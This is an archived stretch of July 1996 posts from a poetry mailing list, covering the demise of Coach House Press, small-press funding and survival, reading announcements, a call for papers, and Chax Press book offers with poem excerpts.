
All the best,

Rob Hardin

PS: Segue and other presses are certainly based in NYC. But so far as I know, The Bridge was and remains the only cross-plat poetry *bookstore* of the late eighties. Anselm Hollo, David Rattray and Keith Waldrop in beautifully dissonant succession.

http://www.interport.net/~scrypt

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476. Mark Wallace
experiments and identities
Tue 16 Jul 1996

For anyone interested in the recently ongoing thread about experimental poetries and identity politics, Harryette Mullin's piece "Poetry and Identity" in the new West Coast Line is really a must read. Well argued, precise, and right there.

But as I was reading it last night, I also saw this new commercial for Colgate toothpaste, whose main character is an African American woman poet who uses Colgate and recites her poetry on stage, the key line being "Free. Free to be me." Has anyone else seen this?

I wanted to quote another choice bit from the new West Coast line. I think it applies to all sorts of contexts other than the one for which it is perfectly well-suited. In this piece by Jessica Johnson, Sam ("a smallish Cub Scout of indeterminant gender") knocks at the door of a house where there is a party hosted by Judith Butler, with Monique Wittig as one of the guests. Sam doesn't know whether to "become a Girl Guide or a Boy Scout." Here's how the scene ends:

"But what am I supposed to do right this minute?" asked Sam. "I can't stay in your kitchen forever. I have to go out and play on a team." "You could alternate teams, for maximum effect," suggested Judith Butler. "Or you could simply forget about being a scout. Deny teams. In my case, I find it necessary to suppress them. That is the point of view of the lesbian," said Monique Wittig. "I've been meaning to talk to you about that," said Judith Butler.

And that started a debate. This gave Sam the opportunity to take a muffin from the counter, and slip quietly out the back door.

mark wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

477. **Kevin Killian**
Re: press survival
Tue 16 Jul 1996

At 3:21 PM 7/16/96, Judy Roitman wrote:

> *Dodie, I thought that only happened in Kansas.*

Actually, a project involving Toto would probably have a good chance of getting funded.

db

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478. **Charles Alexander**
Re: press survival
Tue 16 Jul 1996

> *... we may have to lose some of our*
> *hierarchical ideas about what constitutes an important book (looks of book, whether or not we find it in many bookstores or in creative independent channels, etc.)*
>
> *But combined with the dominance of B&N & Borders, and the resulting difficulties of independent bookstores, how will these creative independent channels flourish, and how will people find them?*
>
> *This is a serious question. There is (always -- the natural course of things) too much of an insider/outsider situation, and a whole school of writing going samizdat will make things worse.*

Perhaps you are right, and I don't have the answers about how the creative channels will flourish. But in the last year Chax Press has sold more books

through this Poetics list than it ever has through any single source other than specific book distributors like SPD. More through Poetics than through library jobbers like Baker & Taylor. So that indicates to me that, while it may be samizdat, the potential for the actual number of readers to grow through such channels may be great.

Look forward to another Chax sales announcement very soon (within the next week) for a new book by Tom Mandel, Prospect of Release, and for a couple of previous handmade books (by Nathaniel Mackey & Gil Ott). This is a sale prior to our return move to Tucson, Arizona, which will take place before the end of August.

And I will extend a thank you right here to the terrific participants on this poetics list who have supported Chax Press and other presses as well, and for the ongoing conversation of which it is a pleasure to be a part.

And here's possibly a devil's advocate thought, concerning the demise of Coach House. That is, part of my experience with the institutionalization and bureaucratization of nonprofit arts and publishing since I've been in the Twin Cities has only reinforced my feelings that many institutions live past their richest artistic periods as they achieve stabilization. Often such stabilization means doing work which is more fundable and which can demonstrate reaching larger audiences. Certainly art & literature needs those audiences, and those audience needs deserve to be met. But I still feel that not every (& possibly not even most) arts organizations and activities need to live on in perpetuity (or close) & that it's perfectly fine to serve a dedicated mission for any period of time from a few days to several years and then simply stop, for whatever reasons. Some of my favorite presses and magazines historically (The Objectivist Press, Black Sun Press, HOW(ever), etc.) were not particularly long-lived. In comparison, Coach House lived a long and very productive life. I think I'd rather celebrate its glory than bemoan its passing.

charles

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479. Mark Wallace
readings in Washington, D.C.
Tue 16 Jul 1996

We may have some openings for poetry readings here in D.C., so if there's anyone who is interested in that possibility, please contact me at this e-mail address. Unfortunately, we don't have any travel money to offer at this time, but we can always offer an informed and committed audience.

But please, no requests for readings around the time of MLA in late December. Things here will be very hectic then. We're hoping to put something together at that time, and more information will be posted as it becomes available.

Mark Wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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480. **Herb Levy**
Re: Bad news
Tue 16 Jul 1996

It is obviously very sad news that Coach House is going under, and I agree with much of what people have said (& no doubt will continue to say) about the problems of distribution, marketing, and selling new, experrimental poetry to an audience of people who aren't on this e-mail list; etc. But distribution for avant garde work has always sucked, finding that audience (one person at a time) has always been a pain in the ass, & grants have rarely, if ever, been enough to support a project of the scale of Coach House.

Historically, how many small presses have lasted thirty years or more? How many small presses from the mid-Sixties are still going strong? (For that matter, how many adventurous, experimental, or whatever non-profit arts organizations in any field have lasted this long?)

In the US, I can think of City Lights, New Directions & Black Sparrow (which may not be quite that old), but these seem to have survived because they have reprint rights for books used in college & university courses or some other works that have guaranteed sales (is Bukowski on the syllabus anywhere?). (& yes, I do know that New Directions started with a wad of family money, but the continued survival of ND as a business is at least as related to the number of copies of books by Pound, WCW, HD, Duncan, & others that are sold to students yearly.)

I'm not trying to minimize the impact that the loss of Coach House will have: It is (& I'm consciously using the present tense here) clearly THE major press for new poetry in Canada, they have a great backlist, they know what work is important to publish and have been able to find ways to get it out there.

Still, I'm not sure that the forces at work here are simply the current economic state of the Corporate/State. We're not talking best sellers here. Small presses, & arts organizations in general, which last more than thirty years have developed some kind of financial stability (whether it's market share, donor base, or stylish t-shirts & gimme caps) that has been, unfortunately, all too often unrelated to artistic merit.

Herb Levy
[redacted]

↑ Index

481. **maria damon**
Re: Coach House (re-post due to delivery failure)
Tue 16 Jul 1996

---

lisa amber philips writes:
>
>... I've gotten the distinct impression that there are a
> great number of small presses out there who are in more danger than
> usual of going under...
> The next question I want to ask (because I've been turning it over in the
> back of my mind for some months now and would be interested in other
> viewpoints) is: Is it possible for small presses of today to remove
> themselves from live-or-die dependence upon the fickle funding of
> governments, or avoid it altogether, or are publishing costs just too
> high and returns on sales too small? ...
>
>
i know some presses (coffee house, arte publico, etc.,) have gone non-profit as a way of becoming eligible for lots of private foundation money like lila wallace reader's digest, lannan foundation, etc. the trouble is, many small presses are basically the vision of one or two people, and when going non-profit they have to have a board of directors, staff, etc. and there can be some uncomfortableness, basically, in shifting to a more corporate model of operation.
md

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482. David Baratier

press haus

Tue 16 Jul 1996

The rising cost of paper has occurred for a very simple reason: it is bought on the futures market, in the same way one might reserve oil now (through purchase) which will not be freed up for the buyer until one yuear from the purchase date. Large publishing houses are buying up millions of pounds of paper in this advance method, making smaller lots of paper for purchase scarce. While I'm glad that this period of scarcity seems to have lightened, I do keep in mind the fact of the almost decimation of independent films in the mid-seventies through this same kind of process (competing with the major studios for film purchase).

As a publisher who does not depend on grants at all, I find the recent lack of NEA and other funds in the US for literary publications to be a excellent opportunity for our journal. Publications which have outlived their life-expectancy through government monetary support will finally have wake-up and-- SURPRISE!-- pay attention to what their re-formed public constituency of readers is looking for. They will have to _build_ a community of writers and readers instead of assuming there is one nebulously floating in some provincial area. Many journals will fold, lacking the aptitude to adapt to this new found circumstance, and many will lament the occurrance in the same way that newspapers lament the closing of an independant bookstore without ever having run a positve write-up of that same store when in business.

Distribution is in a horrible state. When Charles mentioned that people need to change their thinking on what constitutes a publication to also include xerox staple-bound books (such as Tom Beckett's Interruptions book of work by Fielding Dawson) or smaller free-bound publications (with an envelope as binding, such as the old Hanging Loose issues, or the one we are doing by Robert Grenier) or e-mail/web sites as publications. But what I think is as important is re-tooling the ideologies of the consumer towards a willingness to purchase products through direct-to-publisher mail order methods. Unless piggy-backing onto a larger organization, small press publishers have a difficult time finding a distributor. And if a press purely publishes work which is not perfect bound, none of the major distributors will carry the product. Period.

Be well.

David Baratier

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483. **Charles Smith**
Re: press survival
Tue 16 Jul 1996

In a message dated 96-07-16 12:02:59 EDT, Charles Alexander writes:

<< I would certainly
not encourage new presses beginning now to go the nonprofit corporation
route, at least not without some deep thought and research about it. >>

Charles, would you amplify on this?

& deep regrets at the passing of Coach House

↑ Index

484. **Daniel Salmon**
Re: Marsh
Tue 16 Jul 1996

Hi all,

Exactly the same thing happened to me, ie "integer divide by 0" i have swapped modems, deleted my entire c drive, been convinced it was a hard ware problem and nerely bought more memory, spent about 3 days trying to sort it out with my provider and the people i bought the computer from, perhaps Bill Marsh could talk to his people before continuing to mail. It sounds as though its fucking a lot of people up, do others use pegasus or something. A bit bloody frustrating really, Dan.

BTW using netscape to access it works today, but didn't when it first happened.

Yours 'ludditedly'

Dan.

↑ Index

485. **Charles Alexander**
Re: BookStore
Tue 16 Jul 1996

Dear Rob

Thanks for your moving tribute to David Abel & The Bridge. I'll forward it to David who I am certain will be his usual gracious self, very glad to be appreciated in such a way. And I hope to see him in about a month in Albuquerque, and hopefully give a report sometime after that to this list.

charles

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486. Gabrielle Welford

Language in Contemporary American Poetry (9/15; NEMLA) (fwd)

Tue 16 Jul 1996

Call for Papers:

Panel for 1997 Northeast Modern Language Association Convention, Philadelphia, PA. Notes Toward "Notes Toward A Supreme Fiction": Language in Contemporary American Poetry

Postmodern theory, ideas that have dominated academic circles for the past three decades, has again come under heavy negative criticism, rending fresh philosophical "rifts" in universities worldwide. This backlash, harboring academia's desire to re-affirm its identity in the face of theory that renders our pursuit for meaning meaningless, exemplifies the perpetual modern dilemma (and our endless quest to solve it) that both artists and humans in general confront: justification for the creation of art (and literary criticism); validation of one's self in an indeterminate world. Traditionally, American poets have attempted to come to terms with this paradox and situate our collective thought on this always fluctuating issue; I wish to review, in this panel, where contemporary poetry currently finds itself with regards to the use of language and the making of meaning. Working in a medium that has been declared "slippery," unable to convey fixed meaning, American poets may (or may not) need to look beyond the postmodern inconceivable notions of meaning, guaranteeing their place in society as an artist and an individual. In order to satisfy the contradictory desires for absolute meaning and a multiplicity of meaning generated by our use of language in a diverse, pluralistic society, where the fragmentary nature of our culture contributes to the "slipperiness" of language, contemporary poets appear to attempt to sustain simultaneously the interplay and interdependency of the possibilities of language as metaphor explaining some "truth" and language as fragmentation, the making of many meanings. My goal for this panel is to assess how "well" contemporary poets are dealing with our paradox of language, a paradox that begs for unification of the idea of existentialism with the reality of communal life and a balancing between truth and absurdity. It would be worthwhile to observe how concerned our poets are with the notion that there is no meaning in a medium in which they create something of permanence; how close do they reflect/reveal the thought behind the postmodern rebellion (outlined above); what, if anything, do our contemporary American poets, traditionally our spokespeople, our seers, predict for what lies ahead for language-using humans beyond our postmodern age.

Deadline for abstracts or papers is September 15, 1996.
Papers should be limited to ten double-spaced pages
(an absolute maximum of 20 minutes).
All panel participants must be members of NEMLA by November 1, 1996.
Please send abstracts or papers to:
John R. Woznicki
Dept. Of English
Lehigh University
35 Sayre Drive
Bethlehem, PA. 18015
If you have any questions, feel free to e-mail at: [redacted]

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487. Gabrielle Welford
Re: text/language
Tue 16 Jul 1996

I know I've flaked on this discussion because here I am supposed to be studying away. Wanted to say a few things, though.

On Fri, 12 Jul 1996, Charles Alexander wrote:

> >How can text and language be distinguished? I guess have to take a long
> >look at how the word "language" and "text" can and can't sensibly be used.
> >Otherwise into the foggy dew we go. gab.
>
> Isn't language much broader? It includes music & other sound-language,
> visual languages of many kinds, all sorts of symbolic language other than
> the ones which use letters & words; & usually text is grounded in those
> letters & words, although I'd be glad to conceive of text more broadly, too.
>

Yes. I think what I was trying to get at is just that--pushing our way around the interstices of teh meanings of words like "langauge" and "text" until we can see what we can or can't say with them, rather than making arbitrary decisions about what we are going to accept or not as far as meaning goes.

> *Or, for example, dealing with book arts/artists' books, the text of the book would be whatever language-text is presented therein, but the language of the book would have to include all its other parts (visual, structural, sometimes aural, etc.) as well. Books can (they don't always, or do they?) make literature physical.*

Isn't it amazing? Then we have to start looking/pushing at the edges or inbetweennesses of what "physical" can mean. And "literature." Mkae language

physical? But isn't it always? If physical means to do with bodies. Could there be a way of conceiving of langauge that wasn't physical? Is thinking physical? Hmmmm. That's a nice one. I guess we can say it is and we can say it isn't. It hums between perhaps. So text can be langauge, but language doesn't need to be text. Certe. Unless we do one of those overboard things and say anything that can be read is text (read my lips), as I suppose some people do. My life as text. My life as language? Pushing it, huh? gab.

> *charles >*

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488. George Bowering
Re: BookStore
Tue 16 Jul 1996

Speaking of which, for years and years I was looking for Charyn's _Eisenhower, my Eisenhower_ and never found it in a bookstore; but last February on a cold night in Ottawa, I got it from the amazing collector Rod Anstee. I have him a copy of Ted Joans's first book.

For almost as many years now I have been looking for Markson's _Going Down_

Meanwhile looking for somewhere to sell old _Trobars_ and the like.

.....
"Lifting belly is so kind."

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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489. George Bowering
Re: press survival
Tue 16 Jul 1996

Sometimes it seems that literature has it worse
>than other arts. It's not all that rare to see interesting projects in
>visual arts funded, but for literature it's heart-strings projects all the
>way. I was a judge for one artist in residency program, and consistently
>there was a high intellectual standard for visual arts, whereas when I
>tried to get an award for a white male experimental poet I practically got

>laughed out of the room. Recently SPT got to the second round for one of
>those grants that cycle through disciplines--the year before, visual arts
>was the category, and I was impressed with some of the awards. But the
>literature awards the year we applied were gruesome. When I read them to
>our graphic designer, he said they sounded like topics for the Rickie Lake
>Show.

I dont know who Rickie lake is, but I have a feeling that Dodie is right about the comparison between visual and writing grants. I was on a recent grant-giving panel, and it tried to be as fair as possible, but you know? the stuff with content and the stuff with current ethnocorrectness too eaSILY seen, etc. (My sentence got screwed by the 33rd ringing of doorbells and phones in the past hour. Anyway, sure you complain a lot, Dodie, but one would rather hear you complain than hear Louis Simpson complain, eh?

.....
"Lifting belly is so kind."

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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490. George Bowering
Re: [redacted]
Tue 16 Jul 1996

Hey, Pierre!

As soon as you turn fifty you get hairs growing out of your ears and around your nipples, and you get a few long hairs in your eyebrows. Neat.

.....
"Lifting belly is so kind."

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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491. c.g. guertin
Re: Bad news/Coach House
Tue 16 Jul 1996

I am shocked and terribly saddened to hear the news of Coach House's impending demise.

Coach House has a 30 year history of financial woes to be sure, having constantly lived on the verge of bankruptcy and having been chronically underfunded. The ramifactions of this for Canadian poetry and experimental writing are immeasurable. I cannot imagine the devastation that this will bring to the Canadian literary community and to teachers and professors of Canadian lit across the country as well. Authors who have all or some of their backlist with Coach House include Robin Blaser, George Bowering, Daphne Marlatt (whose new novel was supposed to be published this fall), Phyllis Webb, Sharon Thesen, Michael Ondaatje, bpNichol, Lola Lemire Tostevin, Nicole Brossard, Steve McCaffery, and Gail Scott.

As a former publicist for Coach House, I know how important the press has been for writers with its unique position in this country as a writer's press. Its focus has shifted and changed many times, but it has survived so long because it remained adaptable *and* stayed on the cutting edge. Coach House has had that rare talent to turn literary works into bestsellers as well as continuing to win award after award for its list. These are sad times indeed when a mere pittance (as far as the governments are concerned) could save the press, but when arts funding has no value in the eyes of the different levels of government.

Arts organizations are always prime targets in times of fiscal restraint. How do we fight back?

Carolyn Guertin

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492. Charles Alexander
Re: press survival
Tue 16 Jul 1996

> *In a message dated 96-07-16 12:02:59 EDT, Charles Alexander writes:*
>
> *<< I would certainly*
> *not encourage new presses beginning now to go the nonprofit corporation*
> *route, at least not without some deep thought and research about it. >>*
>
> *Charles, would you amplify on this?*

Just a little, I will.

I think, first of all, that when I began making/publishing books in about 1981, and then when I incorporated Chax in 1985, there was the sense that an individual could set up a nonprofit organization and rather easily become eligible for grants from government & foundation sources without following some corporate model or becoming professionalized in the way Dodie (I think it was Dodie) described. As competition for such dollars has increased I think that avoiding such corporate models (which are highly rewarded by funders, which attract rather powerful & corporate board members, etc.) is increasingly difficult. So, first of all, think about the hoops one has to jump through, or how terribly hard one must work to not jump through such hoops (& what the consequences of either jumping or not jumping might be) -- before one goes that nonprofit route.

Also, given the scarcity of dollars particularly for the sorts of work that seems to attract a lot of people on this list, it may be incumbent on a press to do other sorts of work to raise money. For example, if one has design skills, sell design services. Or if one is moved to make the most of some publishing opportunity and publish something outside the realm of fundable projects, say for example a hot cookbook or whatever, to actually generate good income -- that may be very difficult to do as a nonprofit organization, but rather easy as a for profit organization. And if one goes the "for profit" route, organizes as a sole proprietorship, chances are there won't be a lot of money made & there won't be much of a tax bite, in fact it's quite possible that all kinds of expenses will be deductible. This nation rewards entrepreneurship more than it rewards nonprofit arts enterprises (but yes of course there is such a thing as nonprofit entrepreneurship, but I'm not certain how easy that is for extremely small organizations, and by extremely small I probably mean anything with a budget of less than $75,000 or so a year -- even organizations with a half million dollar budget find it really difficult to mount the kinds of promotions and other activities necessary to make things like museum shops succeed).

But these are just two of the things to think about, and they don't go at all into an investigation of specific tax laws or legal niceties. Just that I have a general notion now that it's extremely difficult to succeed as a small nonprofit publishing organization, perhaps with no visible benefits over a small "for profit" publishing company. Plus you might consistently find hands tied and forms aplenty. I even heard the head of one of the largest arts-funding foundations here criticize small presses in the area as having bad cases of what he called "founderitis," meaning the founders of the presses couldn't get beyond their own personal visions enough to be able to create successful, stable (and ostensibly somehow less personal) organizations. Now if that's the kind of press one wants to create, then by all means go nonprofit.

charles

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493. **Thomas M. Orange**
Bad News
Wed 17 Jul 1996

Mike Boughn:

Why is Couch House's demise "another victory for the New York bankers?"

Tom

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494. **Tenney Nathanson**
Mullen piece?
Wed 17 Jul 1996

> *Date: Tue, 16 Jul 1996 13:35:16 -0400*
> *From: Mark Wallace <[redacted]>*
> *Subject: experiments and identities*
>
> *For anyone interested in the recently ongoing thread about experimental poetries and identity politics, Harryette Mullin's piece "Poetry and Identity" in the new West Coast Line is really a must read. Well argued, precise, and right there.*

Mark--

do you have an address handy for West Coast Line, or order info of any kind? or does anyone?

I'm getting ready to add /Muse & Drudge/ to the reading list for my fall u.g. contemporary poetry class, and am getting nervous....

are you on the list Gil (or Harryette?)?

thanks for any help

Tenney

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495. **Robert Drake**
Re: Mullen piece?
Wed 17 Jul 1996

West Coast Line
2027 East Academic Annex
Simon Fraser Univ.
Burnaby BC V5A 1S6 canada

lbd

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496. **Gwyn McVay**
Re: [redacted]
Wed 17 Jul 1996

George, does that mean the birthday boy will be achieving eyebrows like Czeslaw Milosz's?

Gwyn

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497. **Charles Alexander**
Opening of the San Francisco Center for the Book
Wed 17 Jul 1996

I thought some people, particularly those in the Bay Area and those interested in "the art of the book and the visible word," would be interested in this announcement, so I'm forwarding it. Sometimes good news comes, too.

charles

> *Return-Path:* [redacted]
> *Date: Wed, 17 Jul 1996 01:00:25 -0700*
> *Reply-To: "The Book Arts: binding, typography, collecting"*
> *<*[redacted]*>*
> *Sender: "The Book Arts: binding, typography, collecting"*
> *<*[redacted]*>*
> *From: Mary Katherine Austin <*[redacted]*>*
> *Subject: Opening of the San Francisco Center for the Book*
> *To: Multiple recipients of list BOOK_ARTS-L*
> *<*[redacted]*>*
> *X-UIDL: 67ad917c988c930a7ddb1ade31b2b429*
>
> *The San Francisco Center for the Book celebrates its opening on Tuesday, July 30, from 5 to 9 p.m. , at 300 De Haro Street, between 16th and 17th Streets. The opening will be a great opportunity to meet members of the book arts community and to learn about upcoming events, exhibitions, and classes at The Center.*
>
> *The San Francisco Center for the Book is a newly-formed arts organization devoted to exploring the art of the book and the visible word. Centrally-located at the foot of Potrero Hill, The Center has set up a stylish public facility that will house the activities and studio practice of the growing book arts community. Drawing upon the creative talents and expertise of members of Bay Area book arts organizations, The Center offers*

> *a wide range of workshop classes in bookmaking such as experimental printmaking and book structures, as well as exhibitions, special events, a resource library. The Center also intends to facilitate interdisciplinary collaboration of artists exploring the book format.*
>
> *The three founding directors staff The San Francisco Center for the Book: Mary Austin, Kathleen Burch, and Susan Landauer. The Center also houses the activities of The Pacific Center for the Book Arts and The Hand Bookbinders of California, two lively Bay Area book arts organizations.*
>
> *Starting with the local expression of the Arts & Crafts movement a century ago, some of the world's most creative book artists have worked in the Bay Area. Their diverse arts have decorated Berkeley coffee house menus, lined the bookshelves of the Bohemian Club, or been given away in The Haight. During the seventies, the practice and perception of book arts began to move from "craft" to "fine art," as museums began to mount major exhibitions, and as the prices of the works mounted as well. Current interest in the book arts has never been higher, perhaps due to the visual stimulation of changing publishing technologies. To book artists, "the death of the book" really means a transformation of its form, and a way for all of us to re-examine reading, sequence, and content.*
>
> *Publicity photos available. For more information, call Mary Austin or Kathleen Burch at [redacted].*
>
> *# # #*

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498. Daniel Bouchard
Boston reading
Wed 17 Jul 1996

Gerritt Lansing and Ken Irby will be reading Sunday, July 21 from 3-5 p.m. at T.T. the Bears in Central Square, Cambridge. John Wieners will introduce the readers.

Come early for the poetry, stay late for the poetry.

[redacted]

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499. **Michael Boughn**

Re: Bad News

Wed 17 Jul 1996

Dear Thomas Orange:

I know this not a politcal discussion group, so I'll try to keep my rant short.

Last year, our social democratic government was defeated, partly because of its own inexperience and occasional stupidity, but largely because of the economic fallout from free trade and the manipulation of bond interest rates by said bankers who weren't crazy about having a bunch of socialists in power and weren't shy about letting people know it.

The current gang of goofs we've got running things is more to their liking: a golf-pro for premier, a highschool dropout for education minister, a used car salesman in charge of rapid transit, etc etc. You guys probably thought nobody could outdo having a grade B actor with Alzheimer's for president. What we lack in quality, we try to make up for in sheer quantity.

Last month the golf-pro was down in NY kissing bankers' ass left right and center, showing his credentials: revocation of equity legislation, the dismantling of inexpensive public education, protection of the "rights" of scabs, the use of the provincial riot squad to kick the shit out of striking workers, the sell-off of conservation areas and parks, oh yeah, and a promise to corporations to undo any environmental legislation they found unduly restrictive of their business practices. As he told the bankers, "Ontario is open for business." I could come up with an obscene translation of that idea (an old cartoon by Paul Krastner comes immediately to mind), but I'll spare you. Needless to say, they loved it, and showered him with promises of lower interest rates.

Here's the same golf-pro on Coach House, from this morning's Globe:

> Ontario Premier Mike Harris said yesterday that Coach House Press went under not because the province cut its grants to the publisher but because "they can't compete in the marketplace."
>
> Harris told reporters before a meeting of the inner cabinet that the fact the comapny blames the province for its demise "probably speaks to their management capabilities."
>
> Last year, the Ontario government cut its grant to the publisher by 74% and a loan guarantee by the Ontario Development Corp. will not be renewed when it expires in October.
>
> etc. etc.

I don't think any particular banker was out to get Coach House. I don't even think the golf-pro was, largely because he's never heard of them before, and in fact, hasn't read a book since high school. But this idea of "competition in the market place" as the _summa summarum_ of human potentiality and the determining fact of existence guarantees us only an utterly degraded world.

Best,
Mike
[redacted]

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500. Michael Boughn
New H.D. Stories
Wed 17 Jul 1996

For those on this list interested in the work of H.D., I'm pleased to announce the publication of 2 short children's stories by her on the H.D. Home Page. These stories were first published in Sunday School magazines around 1910, and have never been seen since. I discovered them several years ago when I was working on the H.D. Bibliography. Heather Hawkins has been generous enough to edit them and post them to the home page.

The address is: http://www.well.com/user/heddy/hdstor.html

Mike
[redacted]

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501. Charles Alexander
chax books number one
Wed 17 Jul 1996

This is the first of three messages with special offerings from Chax Press. Please do not post any replies to the Poetics List. Rather respond with orders to
Chax Press
Box 19178
Minneapolis, MN 55419-0178

or respond with questions to [redacted], or call at [redacted]

Because Chax Press is moving in one month, we are taking only orders by mail accompanied by a check to Chax Press, and to insure you have books mailed to you before our move, you should get them in to us by August 6. And just in case you are worried about tracking us down, our Tucson address will be 101 W.

Sixth Street, Tucson, AZ 85701, but we will not be at that address until about August 30. And mail will be forwarded from the Minneapolis address as well.

ANNOUNCING:

Prospect of Release, by Tom Mandel

ISBN 0-925904-11-2
Retail Price: $12.95
Price to Poetics List & whoever else may see this message and order prior to August 6, 1996: $8.00, including shipping/handling

Available in 1 week

Ron Silliman writes of this book:

Memento mori: sonnets. These 50 poems, 700 lines (neither number divisible by three), confront self, other, identity, loss, history, language and meaning through the most concrete instance we have of what the poststructuralists call “an absent presence” — the death of a parent. This loss of apparent meaning (who gave you your name?) doubles (this father arrived by marriage, already a rhyme for the dead blood kin that came before), invoking tradition, transmission, instruction. Ritual (the sonnet, the ceremonies of grief) kaleidoscopes through its own echoes. “Do not speak these / words, but repeat them.” “Ghosts, all of them,” as Spicer said, though here it is Paul Celan’s Shakespeare (of all possible bards) who thrusts the blade from behind the curtain:

The knife comes out clean; the cake
is done. Why does time pass? Because one
observes a rule. Why wear clothes? To model
a soul in paradise, clothed in its days.

These are the most intensely felt poems I have ever read."

And here are the first two poems of the series:

That one is conscious and not know why
like cleaved rock or two that never joined
eyes blue in life become brown coals
silent as the Kodak into which they stare

from the rear of a backyard family gathering.
Brothers-in-law caper in the foreground.
Seasons, months, weeks, moments flatten

against the horizon, forgotten. To whom
now do I belong? An infinity of numbers
whose factor is three. I saw it was

a volume. At sea when I met him, light
poured in unrecalled, he offered no answers
to the questions I asked whose answers
were obvious, and I did not know why.

Of the ten things made at twilight
the greatest was ‘speech-act.’ Think
of the orator moving in memory’s rooms.
Imagination speaks, a matter of meaning,

internal volumes. It was like him to
know me. Articulate in perplexity, like
all bodies in a state of erratic motion

unless compelled to uniform motion or rest
by a mental law that unfolds phenomena
in time, words as it were want to live

their ‘truth until the heavens.’ Thorough,
transparent, opaque, coded (undecoded),
tragedy studies us to divine our terms
of meaning. It is no absolute entity.

Thank you in advance for your orders.

charles alexander
chax press
box 19178
minneapolis, mn 55419-0178

[redacted]

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502. Charles Alexander
chax books number two
Wed 17 Jul 1996

This is the second of three messages with special offerings from Chax Press. Please do not post any replies to the Poetics List. Rather respond with orders to
Chax Press
Box 19178
Minneapolis, MN 55419-0178

or respond with questions to [redacted], or call at [redacted]

Because Chax Press is moving in one month, we are taking only orders by mail accompanied by a check to Chax Press, and this particular offer is only available if your order makes its way to us by August 6. And just in case you are worried about tracking us down, our Tucson address will be 101 W. Sixth Street, Tucson, AZ 85701, but we will not be at that address until about August 30. And mail will be forwarded from the Minneapolis address as well.

ANNOUNCING:

Three of Ten, by Hank Lazer,
including three sequences: H's Journal, Negation, & Displayspace
168 pages

cover image by Jess

ISBN 0-925904-18-X
Retail Price: $14
Price to Poetics List & whoever else may see this message and order prior to August 6, 1996: $8.00, including shipping/handling

Available in October 1996. Respondents to this order by August 6, 1996 will receive the first copies.

Here is an excerpt from the opening of Three of Ten. The works in this book make creative use of a number of source materials which are noted in the book's notes.

From H's Journal, Number 1:

1 In a show of independence for which no crowing is called for, I went home to spend my fortieth birthday with my parents and my sister, for I have settled deliberately at some distance, knowing that to go home bestirs the confused marrow of one’s imagined autonomy.

2 As said in a friend’s words: “you do that again, & I’ll beat the dog out of you.”

3A distrust of feelings transcendental is itself a bracing tonic.

4 Product of its given day, each sentence a citizen in full.

5 “Like cuttlefish we conceal ourselves, we darken the atmosphere in which we move; we are not transparent.”

6 “’Life in the Words’ suggests much of the geniuine significance of the book to Thoreau: it was life and self re-created and revised in words, and he lived in the words he had created.”

7 Redundant wonder — the learned arpeggio of an appreciative, sensitive observer — amounts to a truncated intellect and failure to recognize the place of rhetoric in governing written (and thus constructed) expression.

Thank you in advance for your orders.

charles alexander
chax press
box 19178
minneapolis, mn 55419-0178

[redacted]

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503. Charles Alexander
chax press books number three
Wed 17 Jul 1996

This is the third of three messages with special offerings from Chax Press. Please do not post any replies to the Poetics List. Rather respond with orders to
Chax Press
Box 19178
Minneapolis, MN 55419-0178

or respond with questions to [redacted], or call at [redacted]

Because Chax Press is moving in one month, we are taking only orders by mail accompanied by a check to Chax Press, and to insure you have books mailed to you before our move, you should get them in to us by August 6. And just in case you are worried about tracking us down, our Tucson address will be 101 W. Sixth Street, Tucson, AZ 85701, but we will not be at that address until about August 30. And mail will be forwarded from the Minneapolis address as well.

ANNOUNCING:

A special offer on two deluxe handmade, letterpress books.

OUTLANTISH, by Nathaniel Mackey

This book was published in late 1992. Recently we have bound a few copies which were not released at that time, although they still make up part of the 100 copies in the edition. Just one dozen copies are available at this time. The original price of the book was $110. To members of the Poetics List these dozen copies are now available for $40 each.

Outlantish contains "mu" fourth part through eleventh part. Its epigraphs read " . . . a myth is not merely a word spoken; it is a re-utterance or pre-utterance, it is a focus of emotion. . . . Possibly the first muthos was simply the interjectional

utterance mu . . ." (Jane Harrison); and " . . . a continent of feeling beyond our feeling . . . " (Robert Duncan).

The book measures 11 & 3/4 inches high by 6 inches wide. It is letterpress printed on Mohawk letterpress paper with covers letterpress printed (title is printed blind or without ink, thereby debossed into the cover) on Cross Pointe Genesis recycled paper. The binding is a variation of the lang-stitch method, with threads sewn and visible through the spine. Sheets of Japanese Fuji Unryu paper in a soft brownish-grey with neutral-colored fibers visible in it, are wrapped around the first and last signature of the book to offer a dramatic and sensual break in the reading of the text, and in a sense extending the outside of the book to the inside. Mackey's text is accompanied by three collage illustrations by Tucson Arizona artist Sonia Telesco. One of these illustrations is printed on a double-page sheet so that the halves of the illustration are separated by four pages of text. The illustrations make no attempt to conventionally "illustrate" the text (something we're not that fond of at Chax), rather are the result of the artist's response to that text in her own way -- collaboration rather than accompaniment.

WHEEL, by Gil Ott

Wheel was also originally published in 1992, and only a dozen or so copies remain available.

The original price was $38. It is available to Poetics List members at this time for $20.

Both text and linoleum block prints in the book are by Gil Ott. The book measures 7.5 inches wide by 8 inches high. It is printed letterpress all in black, text and block prints on Mohawk paper with one smaller-sized leaf of Frankfurt paper sewn in. The cover of the book is made of handmade paper made by Tom Leech at the San Miguel Paper Workshop in Colorado Springs and is a beautiful burnt orange color. The unusual cover is intentionally undersized, becoming a cover which does not entirely cover, leaving the inside of the book visible to the outside, enacting a kind of ongoing wheel in its engagement, physically, of book with world.

An excerpt from WHEEL:

sheet to the line, perspective

in that book
any instant
bound

wind rise or fall

where to begin, or end. A breath describes another passage, that
tugs. Or "point of view." Without us, it has no

Thank you in advance for your orders.

charles alexander
chax press
box 19178
minneapolis, mn 55419-0178

[redacted]

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504. David Baratier
r h y m m s by Robert Grenier
Wed 17 Jul 1996

Pavement Saw Press
